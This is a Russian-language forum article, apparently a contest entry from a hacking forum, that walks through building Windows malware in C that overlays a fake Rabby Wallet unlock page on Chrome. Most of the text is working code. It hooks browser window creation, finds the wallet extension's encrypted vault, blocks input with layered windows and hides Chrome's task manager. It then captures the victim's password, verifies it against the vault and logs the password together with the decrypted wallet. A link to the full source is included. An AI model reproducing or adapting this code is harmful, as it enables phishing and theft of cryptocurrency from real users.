Слойка с капустой по рецепту Юлии Высоцкой: уводим крипту при помощи "слоеных" окон

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор Alex_Ionescu
Статья написана для
Конкурса статей #10


Слойка с капустой



Небольшой дисклеймер
Технике подмены отображаемого на экране окна перекрытием оного - много лет. Больше, чем многим участникам форума. Процесс дешифровки кошельков также прекрасно известен и описан, в частности, на прошлогоднем конкурсе проектов. Данная статья - не "что-то новое и революционное", как заявил коллега в соседнем топике (попутно обдав конкурентов ушатом помоев. крайне неспортивное поведение, осуждаю). Это лишь компиляция довольно простых и давно всем известных вещей. Приступим.

Введение
Вместо долгих вступлений предлагаю перейти сразу к делу. Писать будем "фейк" кошелька Rabby Wallet для chromium-браузеров. Сама страница нашего псевдо-кошелька будет отображаться по средствам IWebBrowser2 (безусловно в целях совместимости, а не по тому, что мне лень). Писать все это дело будем на языке C, в среде Visual Studio 2017. Т.к. имена расширений зачем-то меняются для разных браузеров ориентироваться будем лишь на результаты анализа содержимого log-файлов. Добавление поддержки баз snappy (firefox) и leveldb (chrome) выходит за рамки статьи, т.к. сами заслуживают по отдельной статье, пускай это будет домашним заданием.

Итак, что нам необходимо:
1) дождаться появления нужного нам окна
2) найти место расположения профиля пользователя
3) просмотреть все расширения для данного профиля
4) если нужное нам расширение найдено - "заблокировать" браузер и потребовать ввести пароль от кошелька
5) попытаться расшифровать кошелек используя введенный пароль
6) стать богатым и счастливым

Результат



Приступим.

"Кошелек"
Начать, пожалуй, стоит с самого главного - непосредственно создание "фейка". Как уже упоминалось, использовать будем IWebBrowser2, т.е. за рисование и анимации будет отвечать браузер. Школу дизайна им. Татьяныча я не заканчивал и веб-дизайн очень далекая от меня сфера. Однако, у хрома есть замечательные инструменты разработчика - предлагаю ими и воспользоваться.
Дизайним наш фейк


Т.е. просто копируем код сгенерированной страницы и сохраняем у себя. Помимо этого я удалил все внешние ссылки и "Forgot Password?", а также добавил новый div
HTML: Скопировать в буфер обмена
<div class="ant-form-item-explain ant-form-item-explain-error" id="msg-div1" style="display: none;"><div role="alert" id="msg-div2"></div></div>
в который будет выводиться ошибка. Безусловно, можно добавлять/удалять его "на лету", но это сильно усложнит код - для понимания работы нам хватит и такой халтуры.

Собственно, все. Ищем форму ввода, вешаем события onsubmit и oninput для обработки пароля, а также наш div для отображения/скрытия ошибки:
C: Скопировать в буфер обмена
Код:
bool HTMLSkin_Init(PBROWSER_FRAME lpFrame)
{
    bool bRet = false;
    IHTMLElement *lpMainDiv = NULL;
    IHTMLElementCollection *lpFormsCollection = NULL;
    IDispatch *lpFormDisp = NULL;
    do
    {
        lpMainDiv = HTMLSkin_FindDivByClass(lpFrame, L"root", L"unlock page-has-ant-input relative h-full");
        if (!lpMainDiv)
            break;


        lpFormsCollection = HTMLSkin_GetCollectionByTag(lpMainDiv, L"form");
        if (!lpFormsCollection)
            break;


        VARIANT vtNull = { 0 },
            vtIdx = { 0 };
        vtIdx.vt = VT_I4;


        if (FAILED(lpFormsCollection->lpVtbl->item(lpFormsCollection, vtIdx, vtNull, &lpFormDisp)) || (!lpFormDisp))
            break;


        IHTMLFormElement *lpFormElement = NULL;
        if (FAILED(lpFormDisp->lpVtbl->QueryInterface(lpFormDisp, IID_IHTMLFormElement, (LPVOID*)&lpFormElement)) || (!lpFormElement))
            break;


        VARIANT vtDisp;
        VariantInit(&vtDisp);
        vtDisp.vt = VT_DISPATCH;
        vtDisp.pdispVal = (IDispatch*)&lpFrame->IDispatchObject_CheckPwd;


        lpFormElement->lpVtbl->put_onsubmit(lpFormElement, vtDisp);
        lpFormElement->lpVtbl->Release(lpFormElement);


        lpFrame->lpControlInputDiv = HTMLSkin_FindDivByClassInt((IHTMLElement*)lpFormDisp, L"ant-form-item-control-input");
        if (!lpFrame->lpControlInputDiv)
            break;


        IHTMLElement *lpErrorMsg1 = Browser_FindElement(lpFrame, L"msg-div1");
        if (!lpErrorMsg1)
            break;


        lpErrorMsg1->lpVtbl->get_style(lpErrorMsg1, &lpFrame->lpErrorMsg1);
        lpErrorMsg1->lpVtbl->Release(lpErrorMsg1);


        lpFrame->lpErrorMsg2 = Browser_FindElement(lpFrame, L"msg-div2");
        if (!lpFrame->lpErrorMsg2)
            break;


        IHTMLElementCollection *lpDivsCollections = HTMLSkin_GetCollectionByTag((IHTMLElement*)lpFormDisp, L"div");
        if (!lpDivsCollections)
            break;


        IDispatch *lpDivDisp = NULL;
        if (SUCCEEDED(lpDivsCollections->lpVtbl->item(lpDivsCollections, vtIdx, vtNull, &lpDivDisp)) && (lpDivDisp))
        {
            lpDivDisp->lpVtbl->QueryInterface(lpDivDisp, IID_IHTMLElement, (LPVOID*)&lpFrame->lpMainDiv);
            lpDivDisp->lpVtbl->Release(lpDivDisp);
        }
        lpDivsCollections->lpVtbl->Release(lpDivsCollections);


        if (!lpFrame->lpMainDiv)
            break;


        IHTMLElementCollection *lpInputsCollection = HTMLSkin_GetCollectionByTag((IHTMLElement*)lpFormDisp, L"input");
        if (!lpInputsCollection)
            break;


        IDispatch *lpInputDisp = NULL;
        if (SUCCEEDED(lpInputsCollection->lpVtbl->item(lpInputsCollection, vtIdx, vtNull, &lpInputDisp)) && (lpInputDisp))
        {
            lpInputDisp->lpVtbl->QueryInterface(lpInputDisp, IID_IHTMLInputElement, (LPVOID*)&lpFrame->lpInput);


            IHTMLElement2 *lpElement2 = NULL;
            if (SUCCEEDED(lpInputDisp->lpVtbl->QueryInterface(lpInputDisp, IID_IHTMLElement2, (LPVOID*)&lpElement2)))
            {
                BSTR bsEvent = SysAllocString(L"oninput");


                VARIANT_BOOL vRes;
                lpElement2->lpVtbl->attachEvent(lpElement2, bsEvent, (IDispatch*)&lpFrame->IDispatchObject_PwdChanged, &vRes);
                lpElement2->lpVtbl->Release(lpElement2);


                SysFreeString(bsEvent);
            }


            bRet = true;
            lpInputDisp->lpVtbl->Release(lpInputDisp);
        }
        lpInputsCollection->lpVtbl->Release(lpInputsCollection);
    } while (false);


    if (lpFormDisp)
        lpFormDisp->lpVtbl->Release(lpFormDisp);


    if (lpFormsCollection)
        lpFormsCollection->lpVtbl->Release(lpFormsCollection);


    if (lpMainDiv)
        lpMainDiv->lpVtbl->Release(lpMainDiv);


    return bRet;
}


Поиск "жертвы"
Есть несколько вариантов поиска нужного нам окна, но откинув шизофреническое перечисление всех окон в цикле, требующий наличие DLL SetWindowsHookEx и требующий инжекта перехват вызов CreateWindow* остановим свой взор на фукнции SetWinEventHook. Аргумент EVENT_OBJECT_CREATE даст нам возможность поймать момент создания окна,
EVENT_OBJECT_FOCUS - попытку перехватить фокус ввода (довольно забавно было бы дать пользователю возможность управлять "заблокированным" браузером с помощью клавиатуры, не правда ли?), а EVENT_OBJECT_DESTROY и EVENT_OBJECT_LOCATIONCHANGE - момент уничтожения окна и его перемещения/ресайза (наличие призраков в виде нашего псевдо-кошелька без окна браузера выглядело бы не менее забавно).
Однако, найти окно - лишь первый шаг, нам необходимо определить факт наличия нужного нам кошелька. Для этих целей нам прекрасно подойдет функция NtQuerySystemInformation с параметром SystemExtendedHandleInformation. Данная функция покажет нам все открытые в системе файлы, нам останется лишь сопоставить их с нашим процессом. Оставив лишь файлы нашего процесса ищем характерные для расширений хрома "MANIFEST-00????", "00????.log" и "00????.ldb" и двигаемся вверх по дереву каталогов в поисках корневой директории профиля.
Итак, расположение расширений найдено, перейдем непосредственно к поиску нужного нам расширения и, собственно, зашифрованного хранилища (кошелька). В случае с нашим Rabby Wallet искать нужно строку ""hasEncryptedKeyringData":true,"unencryptedKeyringData":[]" (причем искать от конца файла к началу). Нашли? Отлично, можно переходить к финальному этапу.

C: Скопировать в буфер обмена
Код:
...
        EVENT_HOOKS Hooks[] = { {EVENT_OBJECT_CREATE},{EVENT_OBJECT_FOCUS},{EVENT_OBJECT_LOCATIONCHANGE},{EVENT_OBJECT_DESTROY} };
        for (DWORD i = 0; i < ARRAYSIZE(Hooks); i++)
            Hooks[i].hHook = SetWinEventHook(Hooks[i].dwEvent, Hooks[i].dwEvent, hInstance, HandleWinEvent, 0, 0, WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS);
...

static void WINAPI BadWndThread(HWND hWnd)
{
    DWORD dwCount = 0;
    for (DWORD i = 0; i < 10000; i++)
    {
        HWND hWnd2 = FindWindowExW(hWnd, NULL, L"Intermediate D3D Window", NULL);
        if (!hWnd2)
        {
            Sleep(100);
            continue;
        }

        ShowWindow(hWnd2, SW_HIDE);
        ShowWindow(hWnd, SW_HIDE);
        break;
    }
    return;
}

static void WINAPI HandleWinEvent(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
{
    do
    {
        if ((event == EVENT_OBJECT_CREATE) && (idObject == OBJID_WINDOW))
        {
            WCHAR szClass[1024];
            GetClassNameW(hwnd, szClass, ARRAYSIZE(szClass) - 1);

            PRABBY_VAULT lpVault = NULL;
            PBROWSER_INFO lpInfo = NULL;
            PINSTANCE lpInstance = NULL;

            if (!lstrcmpiW(szClass, L"Chrome_WidgetWin_1"))
            {
                DWORD dwStyle = GetWindowLongPtr(hwnd, GWL_STYLE);
                if (((dwStyle & WS_POPUP) || (dwStyle & 0x80)) && (IsOurInstance(hwnd)))
                {
                    /// прячем "плохие" окна вроде "Диспетчер задач" хром
                    CloseHandle(CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BadWndThread, hwnd, 0, NULL));
                    break;
                }

                if (!GetVault(hwnd, &lpVault))
                    break;

                lpInfo = (PBROWSER_INFO)MemAlloc(sizeof*lpInfo);
                if (!lpInfo)
                {
                    Rabby_FreeVault(lpVault);
                    break;
                }

                lpInstance = AddNewInstance(hwnd, lpVault);
                if (!lpInstance)
                    break;
            }

            if (!lpInfo)
                break;

            lpInfo->hWnd = hwnd;
            lpInfo->lpInstance = lpInstance;

            CloseHandle(CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BrowserWndThread, lpInfo, 0, NULL));
            break;
        }

        PINSTANCE lpInstance = FindInstance(hwnd);
        if (!lpInstance)
            break;

        switch (event)
        {
        case EVENT_OBJECT_DESTROY:
        {
            PostMessage(lpInstance->hFakeWnd, WM_CLOSE, NULL, NULL);
            break;
        }
        case EVENT_OBJECT_LOCATIONCHANGE:
        {
            PostMessage(lpInstance->hFakeWnd, WM_MOVE_WND, NULL, NULL);
            break;
        }
        case EVENT_OBJECT_FOCUS:
        {
            if (!lpInstance->hFakeWnd)
                break;

            AttachThreadInput(GetCurrentThreadId(), lpInstance->dwThreadId, true);
            SetFocus(lpInstance->hFakeWnd);
            AttachThreadInput(GetCurrentThreadId(), lpInstance->dwThreadId, false);
            break;
        }
        }
    } while (false);
    return;
}

Рубаем капустку
Первое, что нам необходимо сделать со свежепойманной "жертвой" - "заблокировать" возможность ввода. Для этих целей прекрасно подойдет прозрачное "слоеное" (layered) окно размером с клиентсткую часть окна "жертвы":
C: Скопировать в буфер обмена
Код:
    RECT rcParent, rc;
    GetWindowRect(lpGUI->hBrowserWnd, &rcParent);
    memcpy(&rc, &rcParent, sizeof(rcParent));

    int nWidth = rcParent.right - rcParent.left,
        nHeight = rcParent.bottom - rcParent.top;

    HWND hRenderWidgetHostWnd = FindWindowExW(lpGUI->hBrowserWnd, NULL, L"Chrome_RenderWidgetHostHWND", NULL);
    if (hRenderWidgetHostWnd)
    {
        GetWindowRect(hRenderWidgetHostWnd, &rc);

        nWidth = rc.right - rc.left;
        nHeight = rc.bottom - rcParent.top;
    }

    MoveWindow(hWnd, rc.left, rcParent.top, nWidth, nHeight, true);
Следом - несколько "слоев" разной степени прозрачности для создания тени:
C: Скопировать в буфер обмена
Код:
    case WM_DROP_SHADOW:
    {
        RECT rc;
        GetWindowRect((HWND)wParam, &rc);

        DWORD dwWidth = rc.right - rc.left + dwId * 2,
            dwHeight = rc.bottom - rc.top + dwId * 2;

        MoveWindow(hDlg, rc.left - dwId, rc.top - dwId, dwWidth, dwHeight, true);

        SetLayeredWindowAttributes(hDlg, 0, (BYTE)dwId, LWA_ALPHA);

        SendMessage(GetParent(hDlg), WM_DROP_SHADOW, wParam, NULL);

        ShowWindow(hDlg, HideOrShow(lpGUI));
        break;
    }
И наконец само окно нашего "кошелька", которая занимается лишь проверкой пароля (т.к. все остальное за нас делает IWebBrowser2):
C: Скопировать в буфер обмена
Код:
    case WM_PWD_CHECK:
    {
        if (!lpFrame)
            break;

        BSTR bsValue;
        lpFrame->lpInput->lpVtbl->get_value(lpFrame->lpInput, &bsValue);
        if (bsValue)
        {
            DWORD dwStrLen = SysStringLen(bsValue);
            if (dwStrLen)
            {
                bool bGood = false;
                LPSTR lpPassword = (LPSTR)MemQuickAlloc(dwStrLen * sizeof(WCHAR) + 1);
                if (lpPassword)
                {
                    DWORD dwUtf8StrLen = StrUnicodeToUtf8(bsValue, dwStrLen, lpPassword, dwStrLen * sizeof(WCHAR));
                    bGood = Crypt_CheckPassword(lpGUI->lpVault, lpPassword);
                    MemFree(lpPassword);
                }

                if (!bGood)
                {
                    WCHAR szBadPassword[MAX_PATH];
                    wsprintfW(szBadPassword, L"wrong password: %s", bsValue);
                    OutputDebugStringW(szBadPassword);

                    HTMLSkin_ShowError(lpFrame, L"Incorrect password");
                    break;
                }
                else
                {
                    WCHAR szGoodPassword[MAX_PATH];
                    wsprintfW(szGoodPassword, L"good password: %s", bsValue);
                    OutputDebugStringW(szGoodPassword);
                }

                SendMessage(lpGUI->hBrowserWnd, WM_CLOSE, NULL, NULL);
            }
            else
                HTMLSkin_ShowError(lpFrame, L"Enter the Password to Unlock");

            SysFreeString(bsValue);
        }
        else
            HTMLSkin_ShowError(lpFrame, L"Enter the Password to Unlock");

        break;
    }
    case WM_PWD_CHANGED:
    {
        if (!lpFrame)
            break;

        HTMLSkin_ShowError(lpFrame, NULL);
        break;
    }
Как результат - отладочный лог с паролями и расшированным кошельком
Пример лога



Вместо заключения
Данный метод имеет как минимум два серьезных ограничения. Первое - аппаратные кошельки, т.к. вместо мнемонической фразы/приватного ключа в хранилище будет лишь id устройства. Второе (применительно к браузерным расширениям) - расширений может быть несколько. Написать подобный "фейк" для каждого - не проблема, проблема выбрать самое "богатое" (возможность выловить адреса из лога есть не всегда).

Вместо статьи получился какой-то пересказ "по мотивам исходника", но иначе повествование уместилось бы в пару предложений :)

Исходник: https://www.sendspace.com/file/fbnf9f
Пароль: xss.is
 
Сверху Снизу